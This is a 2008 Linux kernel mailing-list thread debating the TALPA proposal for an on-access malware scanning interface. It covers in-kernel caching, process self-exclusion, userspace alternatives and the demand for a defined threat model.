patches weren't proposed on this go and reading the write up of both of
the name based items (I think number 11 and 12) one I outright reject
and the other will require future discussion.

-Eric

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[tvrtko.ursulin]

Greg KH <greg@kroah.com> wrote on 06/08/2008 16:25:55:

> On Wed, Aug 06, 2008 at 10:37:06AM +0100, tvrtko.ursulin@sophos.com 
wrote:
> > Greg KH wrote on 05/08/2008 21:15:35:
> > 
> > > > > > Perf win, why bothering looking for malware in /proc when it 
can't
> > > > > > exist?  It doesn't take longer it just takes time having to do
> > > > > > 
> > > > > > userspace -> kernel -> userspace -> kernel -> userspace
> > > > > > 
> > > > > > just to cat /proc/mounts, all of this could probably be 
alliviated 
> > if we
> > > > > > cached access on non block backed files but then we have to 
come 
> > up with
> > > > > > a way to exclude only nfs/cifs.  I'd rather list the FSs that 
> > don't need
> > > > > > scanning every time than those that do....
> > > > > 
> > > > > How long does this whole process take?  Seriously is it worth 
the 
> > added
> > > > > kernel code for something that is not measurable?
> > > > 
> > > > Is it worth having 2 context switches for every open when none are
> > > > needed?  I plan to get numbers on that.
> > > 
> > > Compared to the real time it takes in the "virus engine"?  I bet 
it's
> > > totally lost in the noise.  Those things are huge beasts with 
thousands
> > > to hundreds of thousands of context switches.
> > 
> > No, because we are talking about a case here where we don't want to do 
any 
> > scanning. We want to detect if it is procfs (for example) as quickly 
as 
> > possible and don't do anything. Same goes for any other filesystem 
where 
> > it is not possible to store arbitrary user data.
> 
> See previous messages about namespaces and paths for trying to figure 
this
> kind of information out in a sane way within the kernel.

How are namespaces and pathnames relevant to exclusions based on 
filesystem *type*? It is not about checking for /proc but checking if the 
filesystem name is proc, sysfs, ..
 
> > > > > > In kernel caching is clearly a huge perf win.
> > > > > 
> > > > > Why?  If the cache is also in userspace, it should be the same, 
> > right?
> > > > 
> > > > In kernel cache has 0 context switches for every open.  Userspace
> > > > caching has 2.  Every open has to block, switch to the context of 
the
> > > > userspace client/cache, get that decisions, and then switch back 
to 
> > the
> > > > original process.
> > > 
> > > Again, compared to what?  If you in userspace are doing big complex
> > > things, such an overhead is trivial.
> > 
> > Again similar thing as above - In case of a cache we are not doing 
complex 
> > things.
> 
> Except for the overhead of keeping a cache :)

As small as possible - just one extra field in the inode struct. 

And really you are talking about a different thing again and moving the 
argument around. I answered you why your argument about putting a cache in 
userspace since we do so much there already is wrong, because we don't do 
a lot (anything really) in userspace for vast majority of opens if we have 
this totally simple in-kernel caching scheme.
 
> > So I think you can't argue that because scanning is slow everything
> > else has to go to userspace. On a typical running system scanning is
> > exceptional and everything else benefits from being in the fast path.
> 
> I really can not judge as we have not seen an implementation yet.

Did you mean "_I_ have not seen an implementation yet"? Because Eric 
posted it so you can have a look at your leisure.

Tvrtko


Sophos Plc, The Pentagon, Abingdon Science Park, Abingdon,
OX14 3YP, United Kingdom.

Company Reg No 2096520. VAT Reg No GB 348 3873 20.

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interface for on access scanning

[tvrtko.ursulin]

Eric Paris wrote on 05/08/2008 20:46:03:

> On Mon, 2008-08-04 at 17:51 -0700, Greg KH wrote:
> > On Mon, Aug 04, 2008 at 08:32:54PM -0400, Eric Paris wrote:
> 
> > Oh, and after that, not using a binary interface, have we not learned
> > from the ioctl mess?  I sure thought we had...
> 
> I don't see a reason why we can't use strings and key=value pairs for
> any metadata being sent back and forth.  That seem more reasonable?

Should be OK from my point of view assuming we keep cache and basic 
filesystem exclusions in kernel. Otherwise it would be too much work (I am 
talking about CPU time) to do with each and every interception.

Tvrtko


Sophos Plc, The Pentagon, Abingdon Science Park, Abingdon,
OX14 3YP, United Kingdom.

Company Reg No 2096520. VAT Reg No GB 348 3873 20.

RE: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interface foron access scanning

[Press, Jonathan]

I share the concern here.  The idea that a piece of malware can exclude
itself seems nasty to me.  I am not an expert on writing malware, but it
intuitively seems to me to be a huge opportunity for creativity.  The
argument that it's ok because anything that the malware writes will
eventually be scanned anyway does not reassure me.

Also...  I was one of the people who brought up the idea of a process
exclusion when the requirements list was being developed.  I intended it
as a way that an AV application could exclude specific OTHER processes
by name (as selected by the AV user) -- not as a way that a process
would exclude itself.  I don't think that the implementation here
reflects this goal, which still seems to me to be a requirement.


Jon Press
CA/HCL Internet Security Business Unit




-----Original Message-----
From: malware-list-bounces@dmesg.printk.net
[mailto:malware-list-bounces@dmesg.printk.net] On Behalf Of Eric Paris
Sent: Monday, August 04, 2008 8:33 PM
To: Greg KH
Cc: linux-kernel@vger.kernel.org; malware-list@lists.printk.net
Subject: Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interface
foron access scanning

> 
> > 9. Process exclusion
> > --------------------
> > Sometimes it is necessary to exclude certain processes from being
> > intercepted. For example it might be a userspace root kit scanner
which
> > would not be able to find root kits if access to them was blocked by
the
> > on-access scanner.
> > 
> > To facilitate that we have created a special file a process can open
and
> > register itself as excluded. A flag is then put into its kernel
> > structure (task_struct) which makes it excluded from scanning.
> > 
> > This implementation is very simple and provides greatest
performance. In
> > the proposed implementation access to the exclusion device is
controlled
> > though permissions on the device node which are not sufficient.  An
LSM
> > call will need to be made for this type or access in a later patch.
> 
> Heh, so if you want to write a "virus" for Linux, just implement this
> flag.  What's to keep a "rogue" program from telling the kernel that
all
> programs on the system are to be excluded?

Processes can only get this flag one of 2 ways.

1) register as a client to make access decisions
2) echo 1 into the magic file to enable the flag for themselves

A process can only set this flag on itself and having this flag only
means that your opens and closes will not be scanned.  And excluded
program could write a virus and it would not be caught on close, but it
would be caught on the next open.

RE: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interface foron access scanning

[Eric Paris]

On Tue, 2008-08-05 at 10:41 -0400, Press, Jonathan wrote:
> I share the concern here.  The idea that a piece of malware can exclude
> itself seems nasty to me.  I am not an expert on writing malware, but it
> intuitively seems to me to be a huge opportunity for creativity.  The
> argument that it's ok because anything that the malware writes will
> eventually be scanned anyway does not reassure me.

You aren't doing write time scanning anyway.  This exclusion means that
an 'excluded' process can OPEN things that would normally be called
malware.  The model here doesn't talk about adding files with bad
information to the system it talks about stopping that bad information
from being opened and propagated further.  Thread exclusions as they are
written in the patch only weaken security to those processes which
actively choose to read malware, it in no way weakens the security of
the system as a whole...
> 
> Also...  I was one of the people who brought up the idea of a process
> exclusion when the requirements list was being developed.  I intended it
> as a way that an AV application could exclude specific OTHER processes
> by name (as selected by the AV user) -- not as a way that a process
> would exclude itself.  I don't think that the implementation here
> reflects this goal, which still seems to me to be a requirement.

Wait wit, you'd rather have a 'privileged' process be allowed to exclude
every other process on a system than have a it only be allowed to
exclude itself? and somehow that is safer?

"by name" is right out the window.  You are never going to win 'by name'
on anything to do with the kernel  :)  Maybe you can get me to
eventually buy into 'by pid' or something like that, but setting flags
on other running processes is always going to be racy and scary for me.
Can you show me some code on how to do this cleanly?  And why it needs
to be done in kernel?

What is the goal you are trying to achieve?  A performance win for the
application in question or is this a security aware application that
needs to be able to access 'sensitive' data?

-Eric

RE: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interfaceforon access scanning

[Press, Jonathan]

Regarding self-exclusion...  We are doing write-time scanning, or more
accurately close-time scanning.  We don't block the close, but we do
scan the file afterwards, and if it is infected, we perform any one of
several actions -- such as report to user, rename, quarantine, delete,
etc.  I would not want a self-excluded executable to be able to write
something that I don't get to scan.

Regarding exclusion by name, etc...  You are right.  I am accustomed to
thinking about our current architecture, which does not involve a
published interface.  I have to adjust my thinking.  Putting such a
feature into the kernel would not be a good idea.  We can handle it in
user space.


Jon



-----Original Message-----
From: Eric Paris [mailto:eparis@redhat.com] 
Sent: Tuesday, August 05, 2008 10:57 AM
To: Press, Jonathan
Cc: Greg KH; linux-kernel@vger.kernel.org; malware-list@lists.printk.net
Subject: RE: [malware-list] [RFC 0/5] [TALPA] Intro to a linux
interfaceforon access scanning

On Tue, 2008-08-05 at 10:41 -0400, Press, Jonathan wrote:
> I share the concern here.  The idea that a piece of malware can
exclude
> itself seems nasty to me.  I am not an expert on writing malware, but
it
> intuitively seems to me to be a huge opportunity for creativity.  The
> argument that it's ok because anything that the malware writes will
> eventually be scanned anyway does not reassure me.

You aren't doing write time scanning anyway.  This exclusion means that
an 'excluded' process can OPEN things that would normally be called
malware.  The model here doesn't talk about adding files with bad
information to the system it talks about stopping that bad information
from being opened and propagated further.  Thread exclusions as they are
written in the patch only weaken security to those processes which
actively choose to read malware, it in no way weakens the security of
the system as a whole...
> 
> Also...  I was one of the people who brought up the idea of a process
> exclusion when the requirements list was being developed.  I intended
it
> as a way that an AV application could exclude specific OTHER processes
> by name (as selected by the AV user) -- not as a way that a process
> would exclude itself.  I don't think that the implementation here
> reflects this goal, which still seems to me to be a requirement.

Wait wit, you'd rather have a 'privileged' process be allowed to exclude
every other process on a system than have a it only be allowed to
exclude itself? and somehow that is safer?

"by name" is right out the window.  You are never going to win 'by name'
on anything to do with the kernel  :)  Maybe you can get me to
eventually buy into 'by pid' or something like that, but setting flags
on other running processes is always going to be racy and scary for me.
Can you show me some code on how to do this cleanly?  And why it needs
to be done in kernel?

What is the goal you are trying to achieve?  A performance win for the
application in question or is this a security aware application that
needs to be able to access 'sensitive' data?

-Eric

RE: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interfaceforon access scanning

[Eric Paris]

On Tue, 2008-08-05 at 12:37 -0400, Press, Jonathan wrote:
> Regarding self-exclusion...  We are doing write-time scanning, or more
> accurately close-time scanning.  We don't block the close, but we do
> scan the file afterwards, and if it is infected, we perform any one of
> several actions -- such as report to user, rename, quarantine, delete,
> etc.  I would not want a self-excluded executable to be able to write
> something that I don't get to scan.

With the current implementation there are 2 ways to be excluded.  Both
require root and I plan on both requiring the access to pass a
newfangled LSM hook or maybe just require CAP_RAWIO.  LSM people have
thoughts?

Method #1)  Become a client listening for access decisions, basically
just open /security/talpa/client/talpa-client and you are free of
open/close scans.  We have to make the scanner itself not cause its own
opens and closes to need scanned, think infinite recursion.

Method #2) Exclude yourself.  This involves
opening /security/talpa/exclude/talpa-exclude and writing "1" into it.
this file is owned by root and is 600.  Regular user processes cannot
exclude themselves willy nilly nor can any configuration exclude them.
It might be possible to do exclusions in userspace using the pid and
non-caching results for things other than the scanning clients
themselves.

If you can outline the design of a better method that meets your needs
I'd be glad to try to code it.  In your mind how do you see programs
being able to exclude others while not being a security risk?  I assume
your answer is that the program "giving out the exclusions" must be
root, which we already satisfy.  There is (or could be, I don't remember
offhand) the option to disable thread exclusions in kernel (except for
those threads that act as userspace clients, they MUST be excluded
somehow).  But really as it stands any root process could just enable
them again.  In the non-LSM case root processes already won so, they can
just disable the whole infrastructure send kill -9 to all your clients
and have at it.....

-Eric

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interfaceforon access scanning

[Arjan van de Ven]

On Tue, 05 Aug 2008 13:19:56 -0400
Eric Paris <eparis@redhat.com> wrote:

> If you can outline the design of a better method that meets your needs
> I'd be glad to try to code it.  In your mind how do you see programs
> being able to exclude others while not being a security risk? 


ok so lets be specific.
You are trying to prevent an application from opening a "damaged" file,
or from someone starting a "damaged" file.
You are not trying to prevent anything once you have executed a damaged
file; once you execute one of these for this part it's game over (to
limit the damage other tools like selinux exist, but are outside the
scope of talpa).

So... as long as /sbin/init isn't compromised... intercepting exec and
open (in all variants) is all you need.

And this can be done from userland with the preload: the "workaround"
from the preload assumes you've already executed malicious code, which
is outside of your protection scope.

What am I missing?

-- 
If you want to reach me at my work email, use arjan@linux.intel.com
For development, discussion and tips for power savings, 
visit http://www.lesswatts.org

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interfaceforon access scanning

[Alan Cox]

> And this can be done from userland with the preload: the "workaround"
> from the preload assumes you've already executed malicious code, which
> is outside of your protection scope.
> 
> What am I missing?

Scripts
Attempts to screen content
Exec occuring after ld.so is compromised


Is there anything however that cannot be done with SELinux if you added
the ability to block an open and kick it upwards (including the open of
an exec binary)

It seems you would then get a transition from a label of 'trusted' to
'untrusted_unverified' and an open of untrusted_unverified can (depending
on the SELinux rule) then block, trap upwards and continue according to a
userspace response.

At that point all the questions like 'what do I want to scan for' become
SELinux questions and we already have all the technology to do stuff like
'only scan for samba' or 'only scan for httpd and cgi' and do it
efficiently.

The cache then becomes the labels which are already part of the fs and
our existing labelling and context management.

Alan

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interfaceforon access scanning

[Arjan van de Ven]

On Tue, 5 Aug 2008 18:29:44 +0100
Alan Cox <alan@lxorguk.ukuu.org.uk> wrote:

> > And this can be done from userland with the preload: the
> > "workaround" from the preload assumes you've already executed
> > malicious code, which is outside of your protection scope.
> > 
> > What am I missing?
> 
> Scripts

get either opened or exec'd...

(ignoring stdin-fed scripts right now.. but that's a problem regardless)

> Attempts to screen content

can you explain?

> Exec occuring after ld.so is compromised

this is post-compromise scenario; if you have enough root rights to do
that then it's game over.

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interfaceforon access scanning

[Alan Cox]

> > Scripts
> 
> get either opened or exec'd...
> 
> (ignoring stdin-fed scripts right now.. but that's a problem regardless)

Don't forget pty/tty pairs, ioctls to type chars etc

> > Attempts to screen content
> 
> can you explain?

One common use for scanning is to scan content not looking for executable
stuff but for things like malformed image files and the like. It's also
useful for indexing and in those cases you don't really want ld.so in the
way.

> > Exec occuring after ld.so is compromised
> 
> this is post-compromise scenario; if you have enough root rights to do
> that then it's game over.

You still want to know if you spot this. And the root rights thing
assumes no selinux. For a large case of uses I would agree however.

Alan

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interfaceforon access scanning

[Arjan van de Ven]

On Tue, 5 Aug 2008 21:12:43 +0100
Alan Cox <alan@lxorguk.ukuu.org.uk> wrote:

> > this is post-compromise scenario; if you have enough root rights to
> > do that then it's game over.
> 
> You still want to know if you spot this. And the root rights thing
> assumes no selinux. For a large case of uses I would agree however.

if selinux wouldn't stop a "not really root" root from writing to ld.so
stuff you have a different problem ;-)


-- 
If you want to reach me at my work email, use arjan@linux.intel.com
For development, discussion and tips for power savings, 
visit http://www.lesswatts.org

RE: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interfaceforon access scanning

[Press, Jonathan]

I'm not sure if this is off the direct idea of this thread, or if I am
possibly missing the whole point.

However, I want to point out that scanning on close is still an integral
part of AV protection, even if intercepting opens and execs
theoretically catches everything.

You can say that there are four parts to the malware life cycle --
getting on a machine, residing there, causing local damage, and
propagating elsewhere.  It is part of the philosophy of AV protection
that you do everything you can to prevent all of them.  That's why there
are scans on close, scheduled scans, and scans on open.  Most of our
users employ all three and do not rely on one or two.  If an infection
arrives on a machine and finds a home because it is assumed that it will
be caught when it is opened for use, then it is just one more compromise
away from doing damage and/or spreading.


Jon Press



-----Original Message-----
From: Arjan van de Ven [mailto:arjan@infradead.org] 
Sent: Tuesday, August 05, 2008 1:39 PM
To: Eric Paris
Cc: Press, Jonathan; Greg KH; linux-kernel@vger.kernel.org;
malware-list@lists.printk.net; linux-security-module@vger.kernel.org
Subject: Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux
interfaceforon access scanning

On Tue, 05 Aug 2008 13:19:56 -0400
Eric Paris <eparis@redhat.com> wrote:

> If you can outline the design of a better method that meets your needs
> I'd be glad to try to code it.  In your mind how do you see programs
> being able to exclude others while not being a security risk? 


ok so lets be specific.
You are trying to prevent an application from opening a "damaged" file,
or from someone starting a "damaged" file.
You are not trying to prevent anything once you have executed a damaged
file; once you execute one of these for this part it's game over (to
limit the damage other tools like selinux exist, but are outside the
scope of talpa).

So... as long as /sbin/init isn't compromised... intercepting exec and
open (in all variants) is all you need.

And this can be done from userland with the preload: the "workaround"
from the preload assumes you've already executed malicious code, which
is outside of your protection scope.

What am I missing?

-- 
If you want to reach me at my work email, use arjan@linux.intel.com
For development, discussion and tips for power savings, 
visit http://www.lesswatts.org

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interfaceforon access scanning

[Greg KH]

A: No.
Q: Should I include quotations after my reply?

On Tue, Aug 05, 2008 at 02:04:26PM -0400, Press, Jonathan wrote:
> I'm not sure if this is off the direct idea of this thread, or if I am
> possibly missing the whole point.

I think you might be missing the point a bit here, as the traditional
Unix model that Linux has prevents much of what the "traditional AV"
products need to do, right?

> However, I want to point out that scanning on close is still an integral
> part of AV protection, even if intercepting opens and execs
> theoretically catches everything.

Great, then put a hook in glibc and catch all closes and then kick off
your scanning.

> You can say that there are four parts to the malware life cycle --
> getting on a machine, residing there, causing local damage, and
> propagating elsewhere.  It is part of the philosophy of AV protection
> that you do everything you can to prevent all of them.

But this proposed patchset does not do much to prevent all of these,
right?

> That's why there are scans on close, scheduled scans, and scans on
> open.  Most of our users employ all three and do not rely on one or
> two.  If an infection arrives on a machine and finds a home because it
> is assumed that it will be caught when it is opened for use, then it
> is just one more compromise away from doing damage and/or spreading.

So how are you going about preventing the "infection from arriving"
with this proposed patchset?

Isn't that something that SELinux or another LSM can prevent better?

thanks,

greg k-h

RE: [malware-list] [RFC 0/5] [TALPA] Intro to a linuxinterfaceforon access scanning

[Press, Jonathan]

>> I think you might be missing the point a bit here, as the traditional
Unix model that 
>> Linux has prevents much of what the "traditional AV" products need to
do, right?

Is your point that Linux and Unix machines are less vulnerable to
viruses?  If so, that's not relevant to my point at all.  A Unix machine
can be a carrier, passing infections on to other vulnerable platforms
(guess which one).  An enterprise security system sees the entire
enterprise as an integrated whole -- not just individual machines with
their own separate attributes and no impact on each other at all.


>>So how are you going about preventing the "infection from arriving"
>> with this proposed patchset?

I'm not endorsing or opposing the proposal until I digest it further.

However, I will say that while preventing infections from arriving is
not foolproof, doing a scan-on-close with the option to delete or
quarantine an infected file goes a long way.


Jon





-----Original Message-----
From: Greg KH [mailto:greg@kroah.com] 
Sent: Tuesday, August 05, 2008 2:12 PM
To: Press, Jonathan
Cc: Arjan van de Ven; Eric Paris; linux-kernel@vger.kernel.org;
malware-list@lists.printk.net; linux-security-module@vger.kernel.org
Subject: Re: [malware-list] [RFC 0/5] [TALPA] Intro to a
linuxinterfaceforon access scanning


A: No.
Q: Should I include quotations after my reply?

On Tue, Aug 05, 2008 at 02:04:26PM -0400, Press, Jonathan wrote:
> I'm not sure if this is off the direct idea of this thread, or if I am
> possibly missing the whole point.

I think you might be missing the point a bit here, as the traditional
Unix model that  Linux has prevents much of what the "traditional AV"
products need to do, right?

> However, I want to point out that scanning on close is still an
integral
> part of AV protection, even if intercepting opens and execs
> theoretically catches everything.

Great, then put a hook in glibc and catch all closes and then kick off
your scanning.

> You can say that there are four parts to the malware life cycle --
> getting on a machine, residing there, causing local damage, and
> propagating elsewhere.  It is part of the philosophy of AV protection
> that you do everything you can to prevent all of them.

But this proposed patchset does not do much to prevent all of these,
right?

> That's why there are scans on close, scheduled scans, and scans on
> open.  Most of our users employ all three and do not rely on one or
> two.  If an infection arrives on a machine and finds a home because it
> is assumed that it will be caught when it is opened for use, then it
> is just one more compromise away from doing damage and/or spreading.

So how are you going about preventing the "infection from arriving" with
this proposed patchset?

Isn't that something that SELinux or another LSM can prevent better?

thanks,

greg k-h

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linuxinterfaceforon access scanning

[Theodore Tso]

On Tue, Aug 05, 2008 at 02:38:23PM -0400, Press, Jonathan wrote:
> Is your point that Linux and Unix machines are less vulnerable to
> viruses?  If so, that's not relevant to my point at all.  A Unix machine
> can be a carrier, passing infections on to other vulnerable platforms
> (guess which one).  An enterprise security system sees the entire
> enterprise as an integrated whole -- not just individual machines with
> their own separate attributes and no impact on each other at all.

Sure, but if that's the case, you don't need to have a blocking open()
interface.  Having inotify tell your application that a file
descriptor that had been opened for writing has been closed
(IN_CLOSE_WRITE) should be quite sufficient.

						- Ted

RE: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Press, Jonathan]

-----Original Message-----
From: Theodore Tso [mailto:tytso@mit.edu] 
Sent: Tuesday, August 05, 2008 2:55 PM
To: Press, Jonathan
Cc: Greg KH; Arjan van de Ven; Eric Paris; linux-kernel@vger.kernel.org;
malware-list@lists.printk.net; linux-security-module@vger.kernel.org
Subject: Re: [malware-list] [RFC 0/5] [TALPA] Intro to
alinuxinterfaceforon access scanning

On Tue, Aug 05, 2008 at 02:38:23PM -0400, Press, Jonathan wrote:
> Is your point that Linux and Unix machines are less vulnerable to
> viruses?  If so, that's not relevant to my point at all.  A Unix
machine
> can be a carrier, passing infections on to other vulnerable platforms
> (guess which one).  An enterprise security system sees the entire
> enterprise as an integrated whole -- not just individual machines with
> their own separate attributes and no impact on each other at all.

Sure, but if that's the case, you don't need to have a blocking open()
interface.  Having inotify tell your application that a file
descriptor that had been opened for writing has been closed
(IN_CLOSE_WRITE) should be quite sufficient.


[JON PRESS]  I don't get the connection between what I said and your
point about not needing blocking open() interface.  If I ftp into a
Linux machine and GET an infected file, you want FTP to go right ahead
and read it and send it to me over the wire?

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Greg KH]

On Tue, Aug 05, 2008 at 04:37:42PM -0400, Press, Jonathan wrote:
> 
> [JON PRESS]  I don't get the connection between what I said and your
> point about not needing blocking open() interface.  If I ftp into a
> Linux machine and GET an infected file, you want FTP to go right ahead
> and read it and send it to me over the wire?

Shouldn't that be the issue of the FTP server itself not serving up
"invalid" files, and not the kernel?  Why not just hook in it, I'm
pretty sure they already provide this kind of interface, right?

thanks,

greg k-h

RE: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforonaccess scanning

[Press, Jonathan]

-----Original Message-----
From: Greg KH [mailto:greg@kroah.com] 
Sent: Tuesday, August 05, 2008 5:15 PM
To: Press, Jonathan
Cc: Theodore Tso; Arjan van de Ven; Eric Paris;
linux-kernel@vger.kernel.org; malware-list@lists.printk.net;
linux-security-module@vger.kernel.org
Subject: Re: [malware-list] [RFC 0/5] [TALPA] Intro to
alinuxinterfaceforonaccess scanning

On Tue, Aug 05, 2008 at 04:37:42PM -0400, Press, Jonathan wrote:
> 
> [JON PRESS]  I don't get the connection between what I said and your
> point about not needing blocking open() interface.  If I ftp into a
> Linux machine and GET an infected file, you want FTP to go right ahead
> and read it and send it to me over the wire?

Shouldn't that be the issue of the FTP server itself not serving up
"invalid" files, and not the kernel?  Why not just hook in it, I'm
pretty sure they already provide this kind of interface, right?


[JON PRESS]  So how would that work?  The FTP server would have code
that called into someone's AV SDK (maybe CA's, maybe not) and scanned
the file before sending.  OK.  What about all the thousands of other
applications that might access a file and send it somewhere, or copy it
somewhere.  They should all do the same thing, right?  How do we make
that happen?  That's the whole point of centralizing the control (the
notification, blocking and waiting -- not the actual scanning, of
course) in the kernel.  The scan becomes unavoidable -- and that is the
definition (OK, a definition) of true security.

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforonaccess scanning

[Arjan van de Ven]

On Tue, 5 Aug 2008 17:23:39 -0400
"Press, Jonathan" <Jonathan.Press@ca.com> wrote:

> -----Original Message-----
> From: Greg KH [mailto:greg@kroah.com] 
> Sent: Tuesday, August 05, 2008 5:15 PM
> To: Press, Jonathan
> Cc: Theodore Tso; Arjan van de Ven; Eric Paris;
> linux-kernel@vger.kernel.org; malware-list@lists.printk.net;
> linux-security-module@vger.kernel.org
> Subject: Re: [malware-list] [RFC 0/5] [TALPA] Intro to
> alinuxinterfaceforonaccess scanning
> 
> On Tue, Aug 05, 2008 at 04:37:42PM -0400, Press, Jonathan wrote:
> > 
> > [JON PRESS]  I don't get the connection between what I said and your
> > point about not needing blocking open() interface.  If I ftp into a
> > Linux machine and GET an infected file, you want FTP to go right
> > ahead and read it and send it to me over the wire?
> 
> Shouldn't that be the issue of the FTP server itself not serving up
> "invalid" files, and not the kernel?  Why not just hook in it, I'm
> pretty sure they already provide this kind of interface, right?
> 
> 
> [JON PRESS]  So how would that work?  

the admin (or distro) decides he wants all files opened by the FTP
server scanned, so he starts the FTP server with the LD_PRELOAD set.



-- 
If you want to reach me at my work email, use arjan@linux.intel.com
For development, discussion and tips for power savings, 
visit http://www.lesswatts.org

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforonaccess scanning

[Greg KH]

On Tue, Aug 05, 2008 at 05:23:39PM -0400, Press, Jonathan wrote:
> -----Original Message-----
> From: Greg KH [mailto:greg@kroah.com] 
> Sent: Tuesday, August 05, 2008 5:15 PM
> To: Press, Jonathan
> Cc: Theodore Tso; Arjan van de Ven; Eric Paris;
> linux-kernel@vger.kernel.org; malware-list@lists.printk.net;
> linux-security-module@vger.kernel.org
> Subject: Re: [malware-list] [RFC 0/5] [TALPA] Intro to
> alinuxinterfaceforonaccess scanning
> 
> On Tue, Aug 05, 2008 at 04:37:42PM -0400, Press, Jonathan wrote:
> > 
> > [JON PRESS]  I don't get the connection between what I said and your
> > point about not needing blocking open() interface.  If I ftp into a
> > Linux machine and GET an infected file, you want FTP to go right ahead
> > and read it and send it to me over the wire?
> 
> Shouldn't that be the issue of the FTP server itself not serving up
> "invalid" files, and not the kernel?  Why not just hook in it, I'm
> pretty sure they already provide this kind of interface, right?
> 
> 
> [JON PRESS]  So how would that work?  The FTP server would have code
> that called into someone's AV SDK (maybe CA's, maybe not) and scanned
> the file before sending.  OK.  What about all the thousands of other
> applications that might access a file and send it somewhere, or copy it
> somewhere.

Ok, let's stop right here.

Please answer Al's question:
	What is the threat model this proposal is attempting to address?

Unless this is well defined, we will go down the "hook this here", "but
what about..." argument back and forth for a very long time getting no
where.

So please let's end this thread right now and can someone please post
the answer to this question.

thanks,

greg k-h

Re: [malware-list] [RFC 0/5] [TALPA] Intro toalinuxinterfaceforonaccess scanning

[Greg KH]

On Tue, Aug 05, 2008 at 06:12:34PM -0400, Press, Jonathan wrote:
> Sorry for the top-post... but I give up.
>  
> I don't think I'm stupid, but frankly I don't understand the point of
> the questions being asked in the last three responses to my statement.
> I don't know why they are relevant, and I don't know how to answer
> them in a framework that we can all understand at the same time.  What
> is my threat model?  Naively stated, it is that there is a file on a
> machine that might do damage, either there or elsewhere, and I want to
> find it and get rid of it in the most efficient way.  I am not
> defining the nature of the damage or the mechanism.

If you can not define this, in a precise manner, then how can we expect
to review the proposed solution to ensure that it matches your needs?

Without that, this patchset is going to go nowhere but into the circular
bin :(

greg k-h

Re: [malware-list] [RFC 0/5] [TALPA] Intro toalinuxinterfaceforonaccess scanning

[Al Viro]

On Tue, Aug 05, 2008 at 03:26:38PM -0700, Greg KH wrote:
> On Tue, Aug 05, 2008 at 06:12:34PM -0400, Press, Jonathan wrote:
> > Sorry for the top-post... but I give up.
> >  
> > I don't think I'm stupid, but frankly I don't understand the point of
> > the questions being asked in the last three responses to my statement.
> > I don't know why they are relevant, and I don't know how to answer
> > them in a framework that we can all understand at the same time.

Excuse me?  One of those questions had been a very specific yes-or-no one
and I certainly hope that we all can understand either answer to such...

For the record, the question is

"Do you or do you not expect the malware to be active on scanning host?"

I hope that relevance of that to the analysis of software involved in
scanning should be obvious.

Re: [malware-list] [RFC 0/5] [TALPA] Intro toalinuxinterfaceforonaccess scanning

[Eric Paris]

On Wed, 2008-08-06 at 00:37 +0100, Al Viro wrote:
> On Tue, Aug 05, 2008 at 03:26:38PM -0700, Greg KH wrote:
> > On Tue, Aug 05, 2008 at 06:12:34PM -0400, Press, Jonathan wrote:
> > > Sorry for the top-post... but I give up.
> > >  
> > > I don't think I'm stupid, but frankly I don't understand the point of
> > > the questions being asked in the last three responses to my statement.
> > > I don't know why they are relevant, and I don't know how to answer
> > > them in a framework that we can all understand at the same time.
> 
> Excuse me?  One of those questions had been a very specific yes-or-no one
> and I certainly hope that we all can understand either answer to such...
> 
> For the record, the question is
> 
> "Do you or do you not expect the malware to be active on scanning host?"

I do believe for a number of AV vendors the answer is yes.  I will try
to have some offline conversations with the right people at a number of
vendors and work to better define the threats that they wish to or
believe they are able to help mitigate.

-Eric

> I hope that relevance of that to the analysis of software involved in
> scanning should be obvious.

Re: [malware-list] [RFC 0/5] [TALPA] Intro toalinuxinterfaceforonaccess scanning

[Theodore Tso]

On Tue, Aug 05, 2008 at 07:48:52PM -0400, Eric Paris wrote:
> I do believe for a number of AV vendors the answer is yes.  I will try
> to have some offline conversations with the right people at a number of
> vendors and work to better define the threats that they wish to or
> believe they are able to help mitigate.

OK, and if the malware is running on the machine, does the malware
have root (superuser) access?

						- Ted

Re: [malware-list] [RFC 0/5] [TALPA] Intro toalinuxinterfaceforonaccess scanning

[Greg KH]

On Tue, Aug 05, 2008 at 07:48:52PM -0400, Eric Paris wrote:
> On Wed, 2008-08-06 at 00:37 +0100, Al Viro wrote:
> > On Tue, Aug 05, 2008 at 03:26:38PM -0700, Greg KH wrote:
> > > On Tue, Aug 05, 2008 at 06:12:34PM -0400, Press, Jonathan wrote:
> > > > Sorry for the top-post... but I give up.
> > > >  
> > > > I don't think I'm stupid, but frankly I don't understand the point of
> > > > the questions being asked in the last three responses to my statement.
> > > > I don't know why they are relevant, and I don't know how to answer
> > > > them in a framework that we can all understand at the same time.
> > 
> > Excuse me?  One of those questions had been a very specific yes-or-no one
> > and I certainly hope that we all can understand either answer to such...
> > 
> > For the record, the question is
> > 
> > "Do you or do you not expect the malware to be active on scanning host?"
> 
> I do believe for a number of AV vendors the answer is yes.  I will try
> to have some offline conversations with the right people at a number of
> vendors and work to better define the threats that they wish to or
> believe they are able to help mitigate.

This is troubling to me.  Why "offline conversations"?  Why are you
being forced to be the mediator here?  Why will these companies not
contribute directly to the development of this code/model in public,
like all other major Linux kernel contributions?

Isn't this the point of the malware-list in the first place?

For them to hide behind _anyone_ seems very suspect.

thanks,

greg k-h

